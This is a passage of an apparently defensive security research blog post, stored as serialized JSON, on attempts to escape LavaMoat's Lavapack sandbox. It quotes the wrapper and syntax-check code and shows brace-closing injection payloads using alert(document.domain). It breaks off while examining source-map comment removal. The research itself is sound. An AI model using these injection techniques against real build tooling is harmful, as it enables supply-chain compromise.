",{"type":23,"tag":181,"props":49596,"children":49599},{"href":49597,"rel":49598},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[185],[49600],{"type":29,"value":3381},{"type":29,"value":49602}," called ",{"type":23,"tag":71,"props":49604,"children":49606},{"className":49605},[],[49607],{"type":29,"value":49608},"generateScuttleOpts",{"type":29,"value":49610}," that creates and returns an options object.",{"type":23,"tag":32,"props":49612,"children":49613},{},[49614,49616,49622,49623,49629,49631,49636,49638,49644],{"type":29,"value":49615},"Finally, the ",{"type":23,"tag":71,"props":49617,"children":49619},{"className":49618},[],[49620],{"type":29,"value":49621},"performScuttleGlobalThis",{"type":29,"value":3374},{"type":23,"tag":181,"props":49624,"children":49627},{"href":49625,"rel":49626},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[185],[49628],{"type":29,"value":3381},{"type":29,"value":49630}," modifies the properties of the global object (",{"type":23,"tag":71,"props":49632,"children":49634},{"className":49633},[],[49635],{"type":29,"value":49536},{"type":29,"value":49637},"). It starts by creating an array ",{"type":23,"tag":71,"props":49639,"children":49641},{"className":49640},[],[49642],{"type":29,"value":49643},"props",{"type":29,"value":49645},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":24,"props":49647,"children":49649},{"id":49648},"hacking-webpacks",[49650],{"type":29,"value":49651},"Hacking Webpacks",{"type":23,"tag":32,"props":49653,"children":49654},{},[49655],{"type":29,"value":49656},"Now let's get to the fun stuff.",{"type":23,"tag":32,"props":49658,"children":49659},{},[49660],{"type":29,"value":49661},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":220,"props":49663,"children":49665},{"className":33669,"code":49664,"language":33671,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[49666],{"type":23,"tag":71,"props":49667,"children":49668},{"__ignoreMap":7},[49669,49721,49733,49753,49770,49778,49786,49794,49802,49823,49831,49839,49847,49854,49861,49868],{"type":23,"tag":230,"props":49670,"children":49671},{"class":232,"line":233},[49672,49676,49681,49685,49690,49694,49699,49703,49708,49712,49717],{"type":23,"tag":230,"props":49673,"children":49674},{"style":256},[49675],{"type":29,"value":843},{"type":23,"tag":230,"props":49677,"children":49678},{"style":262},[49679],{"type":29,"value":49680}," filename",{"type":23,"tag":230,"props":49682,"children":49683},{"style":268},[49684],{"type":29,"value":271},{"type":23,"tag":230,"props":49686,"children":49687},{"style":294},[49688],{"type":29,"value":49689}," encodeURI",{"type":23,"tag":230,"props":49691,"children":49692},{"style":274},[49693],{"type":29,"value":302},{"type":23,"tag":230,"props":49695,"children":49696},{"style":294},[49697],{"type":29,"value":49698},"String",{"type":23,"tag":230,"props":49700,"children":49701},{"style":274},[49702],{"type":29,"value":302},{"type":23,"tag":230,"props":49704,"children":49705},{"style":262},[49706],{"type":29,"value":49707},"moduleData",{"type":23,"tag":230,"props":49709,"children":49710},{"style":274},[49711],{"type":29,"value":312},{"type":23,"tag":230,"props":49713,"children":49714},{"style":262},[49715],{"type":29,"value":49716},"file",{"type":23,"tag":230,"props":49718,"children":49719},{"style":274},[49720],{"type":29,"value":22026},{"type":23,"tag":230,"props":49722,"children":49723},{"class":232,"line":243},[49724,49728],{"type":23,"tag":230,"props":49725,"children":49726},{"style":256},[49727],{"type":29,"value":4324},{"type":23,"tag":230,"props":49729,"children":49730},{"style":262},[49731],{"type":29,"value":49732}," moduleWrapperSource\n",{"type":23,"tag":230,"props":49734,"children":49735},{"class":232,"line":252},[49736,49740,49744,49749],{"type":23,"tag":230,"props":49737,"children":49738},{"style":866},[49739],{"type":29,"value":33698},{"type":23,"tag":230,"props":49741,"children":49742},{"style":274},[49743],{"type":29,"value":664},{"type":23,"tag":230,"props":49745,"children":49746},{"style":262},[49747],{"type":29,"value":49748},"bundleWithPrecompiledModules",{"type":23,"tag":230,"props":49750,"children":49751},{"style":274},[49752],{"type":29,"value":827},{"type":23,"tag":230,"props":49754,"children":49755},{"class":232,"line":280},[49756,49761,49765],{"type":23,"tag":230,"props":49757,"children":49758},{"style":262},[49759],{"type":29,"value":49760},"    moduleWrapperSource",{"type":23,"tag":230,"props":49762,"children":49763},{"style":268},[49764],{"type":29,"value":271},{"type":23,"tag":230,"props":49766,"children":49767},{"style":380},[49768],{"type":29,"value":49769}," `function(){\n",{"type":23,"tag":230,"props":49771,"children":49772},{"class":232,"line":334},[49773],{"type":23,"tag":230,"props":49774,"children":49775},{"style":380},[49776],{"type":29,"value":49777},"      with (this.scopeTerminator) {\n",{"type":23,"tag":230,"props":49779,"children":49780},{"class":232,"line":371},[49781],{"type":23,"tag":230,"props":49782,"children":49783},{"style":380},[49784],{"type":29,"value":49785},"        with (this.globalThis) {\n",{"type":23,"tag":230,"props":49787,"children":49788},{"class":232,"line":391},[49789],{"type":23,"tag":230,"props":49790,"children":49791},{"style":380},[49792],{"type":29,"value":49793},"          return function() {\n",{"type":23,"tag":230,"props":49795,"children":49796},{"class":232,"line":400},[49797],{"type":23,"tag":230,"props":49798,"children":49799},{"style":380},[49800],{"type":29,"value":49801},"            'use strict';\n",{"type":23,"tag":230,"props":49803,"children":49804},{"class":232,"line":444},[49805,49810,49814,49819],{"type":23,"tag":230,"props":49806,"children":49807},{"style":380},[49808],{"type":29,"value":49809},"            // source: ",{"type":23,"tag":230,"props":49811,"children":49812},{"style":256},[49813],{"type":29,"value":632},{"type":23,"tag":230,"props":49815,"children":49816},{"style":262},[49817],{"type":29,"value":49818},"filename",{"type":23,"tag":230,"props":49820,"children":49821},{"style":256},[49822],{"type":29,"value":975},{"type":23,"tag":230,"props":49824,"children":49825},{"class":232,"line":453},[49826],{"type":23,"tag":230,"props":49827,"children":49828},{"style":380},[49829],{"type":29,"value":49830},"            return function (require, module, exports) {\n",{"type":23,"tag":230,"props":49832,"children":49833},{"class":232,"line":462},[49834],{"type":23,"tag":230,"props":49835,"children":49836},{"style":380},[49837],{"type":29,"value":49838},"              __MODULE_CONTENT__\n",{"type":23,"tag":230,"props":49840,"children":49841},{"class":232,"line":471},[49842],{"type":23,"tag":230,"props":49843,"children":49844},{"style":380},[49845],{"type":29,"value":49846},"            };\n",{"type":23,"tag":230,"props":49848,"children":49849},{"class":232,"line":500},[49850],{"type":23,"tag":230,"props":49851,"children":49852},{"style":380},[49853],{"type":29,"value":11038},{"type":23,"tag":230,"props":49855,"children":49856},{"class":232,"line":514},[49857],{"type":23,"tag":230,"props":49858,"children":49859},{"style":380},[49860],{"type":29,"value":5686},{"type":23,"tag":230,"props":49862,"children":49863},{"class":232,"line":897},[49864],{"type":23,"tag":230,"props":49865,"children":49866},{"style":380},[49867],{"type":29,"value":1931},{"type":23,"tag":230,"props":49869,"children":49870},{"class":232,"line":960},[49871],{"type":23,"tag":230,"props":49872,"children":49873},{"style":380},[49874],{"type":29,"value":49875},"    }`\n",{"type":23,"tag":32,"props":49877,"children":49878},{},[49879,49881,49887,49889,49895],{"type":29,"value":49880},"Lavapack uses ",{"type":23,"tag":71,"props":49882,"children":49884},{"className":49883},[],[49885],{"type":29,"value":49886},"with()",{"type":29,"value":49888}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":71,"props":49890,"children":49892},{"className":49891},[],[49893],{"type":29,"value":49894},"__MODULE_CONTENT__",{"type":29,"value":49896}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":59,"props":49898,"children":49900},{"id":49899},"injection-not-so-simple",[49901],{"type":29,"value":49902},"Injection? Not So Simple",{"type":23,"tag":32,"props":49904,"children":49905},{},[49906,49908,49913],{"type":29,"value":49907},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":71,"props":49909,"children":49911},{"className":49910},[],[49912],{"type":29,"value":14981},{"type":29,"value":49914}," environment:",{"type":23,"tag":220,"props":49916,"children":49918},{"className":33669,"code":49917,"language":33671,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[49919],{"type":23,"tag":71,"props":49920,"children":49921},{"__ignoreMap":7},[49922,49935,49947,49959,49971,49978],{"type":23,"tag":230,"props":49923,"children":49924},{"class":232,"line":233},[49925,49930],{"type":23,"tag":230,"props":49926,"children":49927},{"style":274},[49928],{"type":29,"value":49929},"   } ",{"type":23,"tag":230,"props":49931,"children":49932},{"style":237},[49933],{"type":29,"value":49934},"// end function 1\n",{"type":23,"tag":230,"props":49936,"children":49937},{"class":232,"line":243},[49938,49942],{"type":23,"tag":230,"props":49939,"children":49940},{"style":274},[49941],{"type":29,"value":33770},{"type":23,"tag":230,"props":49943,"children":49944},{"style":237},[49945],{"type":29,"value":49946},"// end function 2\n",{"type":23,"tag":230,"props":49948,"children":49949},{"class":232,"line":252},[49950,49954],{"type":23,"tag":230,"props":49951,"children":49952},{"style":274},[49953],{"type":29,"value":858},{"type":23,"tag":230,"props":49955,"children":49956},{"style":237},[49957],{"type":29,"value":49958},"// end with 1\n",{"type":23,"tag":230,"props":49960,"children":49961},{"class":232,"line":280},[49962,49966],{"type":23,"tag":230,"props":49963,"children":49964},{"style":274},[49965],{"type":29,"value":48645},{"type":23,"tag":230,"props":49967,"children":49968},{"style":237},[49969],{"type":29,"value":49970},"// end with 2\n",{"type":23,"tag":230,"props":49972,"children":49973},{"class":232,"line":334},[49974],{"type":23,"tag":230,"props":49975,"children":49976},{"emptyLinePlaceholder":18},[49977],{"type":29,"value":459},{"type":23,"tag":230,"props":49979,"children":49980},{"class":232,"line":371},[49981,49985,49989,49993,49997,50001],{"type":23,"tag":230,"props":49982,"children":49983},{"style":294},[49984],{"type":29,"value":34990},{"type":23,"tag":230,"props":49986,"children":49987},{"style":274},[49988],{"type":29,"value":302},{"type":23,"tag":230,"props":49990,"children":49991},{"style":262},[49992],{"type":29,"value":35000},{"type":23,"tag":230,"props":49994,"children":49995},{"style":274},[49996],{"type":29,"value":312},{"type":23,"tag":230,"props":49998,"children":49999},{"style":262},[50000],{"type":29,"value":35010},{"type":23,"tag":230,"props":50002,"children":50003},{"style":274},[50004],{"type":29,"value":4516},{"type":23,"tag":32,"props":50006,"children":50007},{},[50008,50010,50016,50018,50025],{"type":29,"value":50009},"However, when we tried to bundle it, a ",{"type":23,"tag":71,"props":50011,"children":50013},{"className":50012},[],[50014],{"type":29,"value":50015},"ParseError",{"type":29,"value":50017}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":181,"props":50019,"children":50022},{"href":50020,"rel":50021},"https://github.com/browserify/browserify",[185],[50023],{"type":29,"value":50024},"browserify",{"type":29,"value":50026},", which has a syntax check before replacing the code.",{"type":23,"tag":32,"props":50028,"children":50029},{},[50030,50032,50038,50040,50046,50048,50054,50056,50061],{"type":29,"value":50031},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":71,"props":50033,"children":50035},{"className":50034},[],[50036],{"type":29,"value":50037},"syntax",{"type":29,"value":50039}," stage on it's pipeline, and uses the ",{"type":23,"tag":71,"props":50041,"children":50043},{"className":50042},[],[50044],{"type":29,"value":50045},"syntax-error",{"type":29,"value":50047}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":71,"props":50049,"children":50051},{"className":50050},[],[50052],{"type":29,"value":50053},"pack",{"type":29,"value":50055}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":71,"props":50057,"children":50059},{"className":50058},[],[50060],{"type":29,"value":50037},{"type":29,"value":50062},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":32,"props":50064,"children":50065},{},[50066],{"type":23,"tag":93,"props":50067,"children":50070},{"alt":50068,"src":50069},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":32,"props":50072,"children":50073},{},[50074,50075,50080,50082,50087],{"type":29,"value":980},{"type":23,"tag":71,"props":50076,"children":50078},{"className":50077},[],[50079],{"type":29,"value":50045},{"type":29,"value":50081}," package performs a syntax check by using  ",{"type":23,"tag":71,"props":50083,"children":50085},{"className":50084},[],[50086],{"type":29,"value":2229},{"type":29,"value":50088}," with function hoisting:",{"type":23,"tag":220,"props":50090,"children":50092},{"className":33669,"code":50091,"language":33671,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[50093],{"type":23,"tag":71,"props":50094,"children":50095},{"__ignoreMap":7},[50096,50108,50158,50169,50176,50197,50238,50298,50339],{"type":23,"tag":230,"props":50097,"children":50098},{"class":232,"line":233},[50099,50104],{"type":23,"tag":230,"props":50100,"children":50101},{"style":866},[50102],{"type":29,"value":50103},"try",{"type":23,"tag":230,"props":50105,"children":50106},{"style":274},[50107],{"type":29,"value":277},{"type":23,"tag":230,"props":50109,"children":50110},{"class":232,"line":243},[50111,50116,50120,50125,50129,50134,50138,50143,50149,50154],{"type":23,"tag":230,"props":50112,"children":50113},{"style":294},[50114],{"type":29,"value":50115},"    eval",{"type":23,"tag":230,"props":50117,"children":50118},{"style":274},[50119],{"type":29,"value":302},{"type":23,"tag":230,"props":50121,"children":50122},{"style":380},[50123],{"type":29,"value":50124},"'throw \"STOP\"; (function () { '",{"type":23,"tag":230,"props":50126,"children":50127},{"style":268},[50128],{"type":29,"value":11238},{"type":23,"tag":230,"props":50130,"children":50131},{"style":262},[50132],{"type":29,"value":50133}," src",{"type":23,"tag":230,"props":50135,"children":50136},{"style":268},[50137],{"type":29,"value":11238},{"type":23,"tag":230,"props":50139,"children":50140},{"style":380},[50141],{"type":29,"value":50142}," '",{"type":23,"tag":230,"props":50144,"children":50146},{"style":50145},"--shiki-default:#D7BA7D",[50147],{"type":29,"value":50148},"\\n",{"type":23,"tag":230,"props":50150,"children":50151},{"style":380},[50152],{"type":29,"value":50153},"})()'",{"type":23,"tag":230,"props":50155,"children":50156},{"style":274},[50157],{"type":29,"value":753},{"type":23,"tag":230,"props":50159,"children":50160},{"class":232,"line":252},[50161,50165],{"type":23,"tag":230,"props":50162,"children":50163},{"style":866},[50164],{"type":29,"value":4427},{"type":23,"tag":230,"props":50166,"children":50167},{"style":274},[50168],{"type":29,"value":511},{"type":23,"tag":230,"props":50170,"children":50171},{"class":232,"line":280},[50172],{"type":23,"tag":230,"props":50173,"children":50174},{"style":274},[50175],{"type":29,"value":975},{"type":23,"tag":230,"props":50177,"children":50178},{"class":232,"line":334},[50179,50184,50188,50193],{"type":23,"tag":230,"props":50180,"children":50181},{"style":866},[50182],{"type":29,"value":50183},"catch",{"type":23,"tag":230,"props":50185,"children":50186},{"style":274},[50187],{"type":29,"value":664},{"type":23,"tag":230,"props":50189,"children":50190},{"style":262},[50191],{"type":29,"value":50192},"err",{"type":23,"tag":230,"props":50194,"children":50195},{"style":274},[50196],{"type":29,"value":827},{"type":23,"tag":230,"props":50198,"children":50199},{"class":232,"line":371},[50200,50204,50208,50212,50216,50221,50225,50230,50234],{"type":23,"tag":230,"props":50201,"children":50202},{"style":866},[50203],{"type":29,"value":1493},{"type":23,"tag":230,"props":50205,"children":50206},{"style":274},[50207],{"type":29,"value":664},{"type":23,"tag":230,"props":50209,"children":50210},{"style":262},[50211],{"type":29,"value":50192},{"type":23,"tag":230,"props":50213,"children":50214},{"style":268},[50215],{"type":29,"value":2161},{"type":23,"tag":230,"props":50217,"children":50218},{"style":380},[50219],{"type":29,"value":50220}," 'STOP'",{"type":23,"tag":230,"props":50222,"children":50223},{"style":274},[50224],{"type":29,"value":703},{"type":23,"tag":230,"props":50226,"children":50227},{"style":866},[50228],{"type":29,"value":50229},"return",{"type":23,"tag":230,"props":50231,"children":50232},{"style":256},[50233],{"type":29,"value":4044},{"type":23,"tag":230,"props":50235,"children":50236},{"style":274},[50237],{"type":29,"value":511},{"type":23,"tag":230,"props":50239,"children":50240},{"class":232,"line":391},[50241,50245,50249,50253,50257,50262,50266,50271,50276,50281,50285,50289,50294],{"type":23,"tag":230,"props":50242,"children":50243},{"style":866},[50244],{"type":29,"value":1493},{"type":23,"tag":230,"props":50246,"children":50247},{"style":274},[50248],{"type":29,"value":664},{"type":23,"tag":230,"props":50250,"children":50251},{"style":262},[50252],{"type":29,"value":50192},{"type":23,"tag":230,"props":50254,"children":50255},{"style":274},[50256],{"type":29,"value":312},{"type":23,"tag":230,"props":50258,"children":50259},{"style":262},[50260],{"type":29,"value":50261},"constructor",{"type":23,"tag":230,"props":50263,"children":50264},{"style":274},[50265],{"type":29,"value":312},{"type":23,"tag":230,"props":50267,"children":50268},{"style":262},[50269],{"type":29,"value":50270},"name",{"type":23,"tag":230,"props":50272,"children":50273},{"style":268},[50274],{"type":29,"value":50275}," !==",{"type":23,"tag":230,"props":50277,"children":50278},{"style":380},[50279],{"type":29,"value":50280}," 'SyntaxError'",{"type":23,"tag":230,"props":50282,"children":50283},{"style":274},[50284],{"type":29,"value":703},{"type":23,"tag":230,"props":50286,"children":50287},{"style":866},[50288],{"type":29,"value":50229},{"type":23,"tag":230,"props":50290,"children":50291},{"style":262},[50292],{"type":29,"value":50293}," err",{"type":23,"tag":230,"props":50295,"children":50296},{"style":274},[50297],{"type":29,"value":511},{"type":23,"tag":230,"props":50299,"children":50300},{"class":232,"line":400},[50301,50305,50310,50314,50318,50322,50326,50330,50335],{"type":23,"tag":230,"props":50302,"children":50303},{"style":866},[50304],{"type":29,"value":4427},{"type":23,"tag":230,"props":50306,"children":50307},{"style":294},[50308],{"type":29,"value":50309}," errorInfo",{"type":23,"tag":230,"props":50311,"children":50312},{"style":274},[50313],{"type":29,"value":302},{"type":23,"tag":230,"props":50315,"children":50316},{"style":262},[50317],{"type":29,"value":34962},{"type":23,"tag":230,"props":50319,"children":50320},{"style":274},[50321],{"type":29,"value":684},{"type":23,"tag":230,"props":50323,"children":50324},{"style":262},[50325],{"type":29,"value":49716},{"type":23,"tag":230,"props":50327,"children":50328},{"style":274},[50329],{"type":29,"value":684},{"type":23,"tag":230,"props":50331,"children":50332},{"style":262},[50333],{"type":29,"value":50334},"opts",{"type":23,"tag":230,"props":50336,"children":50337},{"style":274},[50338],{"type":29,"value":753},{"type":23,"tag":230,"props":50340,"children":50341},{"class":232,"line":444},[50342],{"type":23,"tag":230,"props":50343,"children":50344},{"style":274},[50345],{"type":29,"value":975},{"type":23,"tag":32,"props":50347,"children":50348},{},[50349,50351,50355,50357,50363,50365,50370],{"type":29,"value":50350},"Interestingly, it ",{"type":23,"tag":2258,"props":50352,"children":50353},{},[50354],{"type":29,"value":6309},{"type":29,"value":50356}," possible to inject a ",{"type":23,"tag":71,"props":50358,"children":50360},{"className":50359},[],[50361],{"type":29,"value":50362},"}); (() => {",{"type":29,"value":50364}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":23,"tag":71,"props":50366,"children":50368},{"className":50367},[],[50369],{"type":29,"value":49886},{"type":29,"value":50371}," sandbox of Lavapack.",{"type":23,"tag":59,"props":50373,"children":50375},{"id":50374},"sourcemap-the-syntax-killer",[50376],{"type":29,"value":50377},"SourceMap: The Syntax Killer",{"type":23,"tag":32,"props":50379,"children":50380},{},[50381,50383,50390],{"type":29,"value":50382},"Lavapack has a feature to extract source maps files from the code using ",{"type":23,"tag":181,"props":50384,"children":50387},{"href":50385,"rel":50386},"https://www.npmjs.com/package/convert-source-map",[185],[50388],{"type":29,"value":50389},"convert-source-map",{"type":29,"value":50391}," npm package:",{"type":23,"tag":220,"props":50393,"children":50395},{"className":33669,"code":50394,"language":33671,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[50396],{"type":23,"tag":71,"props":50397,"children":50398},{"__ignoreMap":7},[50399,50423,50465,50473,50514,50555,50583],{"type":23,"tag":230,"props":50400,"children":50401},{"class":232,"line":233},[50402,50406,50411,50415,50419],{"type":23,"tag":230,"props":50403,"children":50404},{"style":256},[50405],{"type":29,"value":3381},{"type":23,"tag":230,"props":50407,"children":50408},{"style":294},[50409],{"type":29,"value":50410}," extractSourceMaps",{"type":23,"tag":230,"props":50412,"children":50413},{"style":274},[50414],{"type":29,"value":302},{"type":23,"tag":230,"props":50416,"children":50417},{"style":262},[50418],{"type":29,"value":2701},{"type":23,"tag":230,"props":50420,"children":50421},{"style":274},[50422],{"type":29,"value":827},{"type":23,"tag":230,"props":50424,"children":50425},{"class":232,"line":243},[50426,50430,50435,50439,50444,50448,50453,50457,50461],{"type":23,"tag":230,"props":50427,"children":50428},{"style":256},[50429],{"type":29,"value":843},{"type":23,"tag":230,"props":50431,"children":50432},{"style":262},[50433],{"type":29,"value":50434}," converter",{"type":23,"tag":230,"props":50436,"children":50437},{"style":268},[50438],{"type":29,"value":271},{"type":23,"tag":230,"props":50440,"children":50441},{"style":262},[50442],{"type":29,"value":50443}," convertSourceMap",{"type":23,"tag":230,"props":50445,"children":50446},{"style":274},[50447],{"type":29,"value":312},{"type":23,"tag":230,"props":50449,"children":50450},{"style":294},[50451],{"type":29,"value":50452},"fromSource",{"type":23,"tag":230,"props":50454,"children":50455},{"style":274},[50456],{"type":29,"value":302},{"type":23,"tag":230,"props":50458,"children":50459},{"style":262},[50460],{"type":29,"value":2701},{"type":23,"tag":230,"props":50462,"children":50463},{"style":274},[50464],{"type":29,"value":4516},{"type":23,"tag":230,"props":50466,"children":50467},{"class":232,"line":252},[50468],{"type":23,"tag":230,"props":50469,"children":50470},{"style":237},[50471],{"type":29,"value":50472},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":230,"props":50474,"children":50475},{"class":232,"line":280},[50476,50480,50485,50489,50493,50497,50501,50505,50510],{"type":23,"tag":230,"props":50477,"children":50478},{"style":256},[50479],{"type":29,"value":843},{"type":23,"tag":230,"props":50481,"children":50482},{"style":262},[50483],{"type":29,"value":50484}," maps",{"type":23,"tag":230,"props":50486,"children":50487},{"style":268},[50488],{"type":29,"value":271},{"type":23,"tag":230,"props":50490,"children":50491},{"style":262},[50492],{"type":29,"value":50434},{"type":23,"tag":230,"props":50494,"children":50495},{"style":268},[50496],{"type":29,"value":16512},{"type":23,"tag":230,"props":50498,"children":50499},{"style":262},[50500],{"type":29,"value":50434},{"type":23,"tag":230,"props":50502,"children":50503},{"style":274},[50504],{"type":29,"value":312},{"type":23,"tag":230,"props":50506,"children":50507},{"style":294},[50508],{"type":29,"value":50509},"toObject",{"type":23,"tag":230,"props":50511,"children":50512},{"style":274},[50513],{"type":29,"value":10072},{"type":23,"tag":230,"props":50515,"children":50516},{"class":232,"line":334},[50517,50521,50526,50530,50534,50538,50543,50547,50551],{"type":23,"tag":230,"props":50518,"children":50519},{"style":256},[50520],{"type":29,"value":843},{"type":23,"tag":230,"props":50522,"children":50523},{"style":262},[50524],{"type":29,"value":50525}," code",{"type":23,"tag":230,"props":50527,"children":50528},{"style":268},[50529],{"type":29,"value":271},{"type":23,"tag":230,"props":50531,"children":50532},{"style":262},[50533],{"type":29,"value":50443},{"type":23,"tag":230,"props":50535,"children":50536},{"style":274},[50537],{"type":29,"value":312},{"type":23,"tag":230,"props":50539,"children":50540},{"style":294},[50541],{"type":29,"value":50542},"removeComments",{"type":23,"tag":230,"props":50544,"children":50545},{"style":274},[50546],{"type":29,"value":302},{"type":23,"tag":230,"props":50548,"children":50549},{"style":262},[50550],{"type":29,"value":2701},{"type":23,"tag":230,"props":50552,"children":50553},{"style":274},[50554],{"type":29,"value":4516},{"type":23,"tag":230,"props":50556,"children":50557},{"class":232,"line":371},[50558,50562,50566,50570,50574,50579],{"type":23,"tag":230,"props":50559,"children":50560},{"style":866},[50561],{"type":29,"value":3903},{"type":23,"tag":230,"props":50563,"children":50564},{"style":274},[50565],{"type":29,"value":848},{"type":23,"tag":230,"props":50567,"children":50568},{"style":262},[50569],{"type":29,"value":71},{"type":23,"tag":230,"props":50571,"children":50572},{"style":274},[50573],{"type":29,"value":684},{"type":23,"tag":230,"props":50575,"children":50576},{"style":262},[50577],{"type":29,"value":50578},"maps",{"type":23,"tag":230,"props":50580,"children":50581},{"style":274},[50582],{"type":29,"value":11927},{"type":23,"tag":230,"props":50584,"children":50585},{"class":232,"line":391},[50586],{"type":23,"tag":230,"props":50587,"children":50588},{"style":274},[50589],{"type":29,"value":975},{"type":23,"tag":32,"props":50591,"children":50592},{},[50593,50595,50600,50602,50607],{"type":29,"value":50594},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":71,"props":50596,"children":50598},{"className":50597},[],[50599],{"type":29,"value":50037},{"type":29,"value":50601}," stage. Reviewing the ",{"type":23,"tag":71,"props":50603,"children":50605},{"className":50604},[],[50606],{"type":29,"value":50389},{"type":29,"value":50608}," code, we can see exactly how this happens.",{"type":23,"tag":220,"props":50610,"children":50612},{"className":33669,"code":50611,"language":33671,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[50613],{"type":23,"tag":71,"props":50614,"children":50615},{"__ignoreMap":7},[50616,50655,50681,50689,50903,50910,50917,50924,50959,51009],{"type":23,"tag":230,"props":50617,"children":50618},{"class":232,"line":233},[50619,50624,50628,50633,50637,50641,50645,50650],{"type":23,"tag":230,"props":50620,"children":50621},{"style":262},[50622],{"type":29,"value":50623},"Object",{"type":23,"tag":230,"props":50625,"children":50626},{"style":274},[50627],{"type":29,"value":312},{"type":23,"tag":230,"props":50629,"children":50630},{"style":294},[50631],{"type":29,"value":50632},"defineProperty",{"type":23,"tag":230,"props":50634,"children":50635},{"style":274},[50636],{"type":29,"value":302},{"type":23,"tag":230,"props":50638,"children":50639},{"style":676},[50640],{"type":29,"value":2570},{"type":23,"tag":230,"props":50642,"children":50643},{"style":274},[50644],{"type":29,"value":684},{"type":23,"tag":230,"props":50646,"children":50647},{"style":380},[50648],{"type":29,"value":50649},"'commentRegex'",{"type":23,"tag":230,"props":50651,"children":50652},{"style":274},[50653],{"type":29,"value":50654},", {\n",{"type":23,"tag":230,"props":50656,"children":50657},{"class":232,"line":243},[50658,50663,50667,50671,50676],{"type":23,"tag":230,"props":50659,"children":50660},{"style":294},[50661],{"type":29,"value":50662},"  get",{"type":23,"tag":230,"props":50664,"children":50665},{"style":262},[50666],{"type":29,"value":218},{"type":23,"tag":230,"props":50668,"children":50669},{"style":256},[50670],{"type":29,"value":2903},{"type":23,"tag":230,"props":50672,"children":50673},{"style":294},[50674],{"type":29,"value":50675}," getCommentRegex",{"type":23,"tag":230,"props":50677,"children":50678},{"style":274},[50679],{"type":29,"value":50680}," () {\n",{"type":23,"tag":230,"props":50682,"children":50683},{"class":232,"line":252},[50684],{"type":23,"tag":230,"props":50685,"children":50686},{"style":237},[50687],{"type":29,"value":50688},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":230,"props":50690,"children":50691},{"class":232,"line":280},[50692,50696,50702,50707,50712,50717,50721,50726,50731,50736,50740,50744,50749,50754,50759,50764,50768,50772,50776,50781,50785,50790,50795,50800,50805,50809,50813,50817,50821,50825,50829,50833,50837,50842,50847,50851,50856,50861,50865,50869,50873,50877,50882,50886,50890,50894,50899],{"type":23,"tag":230,"props":50693,"children":50694},{"style":866},[50695],{"type":29,"value":4427},{"type":23,"tag":230,"props":50697,"children":50699},{"style":50698},"--shiki-default:#D16969",[50700],{"type":29,"value":50701}," /",{"type":23,"tag":230,"props":50703,"children":50704},{"style":294},[50705],{"type":29,"value":50706},"^",{"type":23,"tag":230,"props":50708,"children":50709},{"style":50698},[50710],{"type":29,"value":50711},"\\s",{"type":23,"tag":230,"props":50713,"children":50714},{"style":50145},[50715],{"type":29,"value":50716},"*?\\/",{"type":23,"tag":230,"props":50718,"children":50719},{"style":380},[50720],{"type":29,"value":6069},{"type":23,"tag":230,"props":50722,"children":50723},{"style":50145},[50724],{"type":29,"value":50725},"\\/\\*",{"type":23,"tag":230,"props":50727,"children":50728},{"style":380},[50729],{"type":29,"value":50730},"][",{"type":23,"tag":230,"props":50732,"children":50733},{"style":50698},[50734],{"type":29,"value":50735},"@#",{"type":23,"tag":230,"props":50737,"children":50738},{"style":380},[50739],{"type":29,"value":17735},{"type":23,"tag":230,"props":50741,"children":50742},{"style":50698},[50743],{"type":29,"value":50711},{"type":23,"tag":230,"props":50745,"children":50746},{"style":50145},[50747],{"type":29,"value":50748},"+?",{"type":23,"tag":230,"props":50750,"children":50751},{"style":50698},[50752],{"type":29,"value":50753},"sourceMappingURL=data:",{"type":23,"tag":230,"props":50755,"children":50756},{"style":380},[50757],{"type":29,"value":50758},"(((?:",{